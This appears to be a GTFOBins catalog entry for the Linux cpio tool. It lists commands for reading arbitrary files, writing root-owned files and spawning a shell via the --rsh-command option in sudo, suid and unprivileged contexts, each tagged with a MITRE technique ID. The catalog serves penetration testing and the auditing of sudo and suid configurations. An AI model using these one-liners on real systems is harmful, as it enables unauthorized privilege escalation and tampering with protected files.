Catalog GTFOBins

GTFO · Tool

cpio

10 techniques LinuxGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation Linux

The content of the file is printed to standard output, between the `cpio` archive format header and footer.

echo /path/to/input-file | cpio -o
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation Linux

The content of the file is printed to standard output, between the `cpio` archive format header and footer.

echo /path/to/input-file | cpio -o
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read Linux

The content of the file is printed to standard output, between the `cpio` archive format header and footer.

echo /path/to/input-file | cpio -o
Context
unprivileged
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation Linux

The whole directory structure is copied to `.`, hence this is also a file write.

echo /path/to/input-file | cpio -R $UID -dp .
cat path/to/input-file
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation Linux

The whole directory structure is copied to `.`, hence this is also a file write.

echo /path/to/input-file | cpio -R $UID -dp .
cat path/to/input-file
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read Linux

The whole directory structure is copied to `.`, hence this is also a file write.

echo /path/to/input-file | cpio -dp .
cat path/to/input-file
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation Linux

The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`.

echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -R 0:0 -udp .
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation Linux

The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`.

echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -R 0:0 -udp .
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write Linux

The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`.

echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -udp .
Context
unprivileged
Native
file-write
MITRE
T1565

shell

ExecutionPrivilege Escalation Linux
echo '/bin/sh </dev/tty >/dev/tty' >localhost
cpio -o --rsh-command /bin/sh -F localhost:
Context
sudo
Native
shell
MITRE
T1059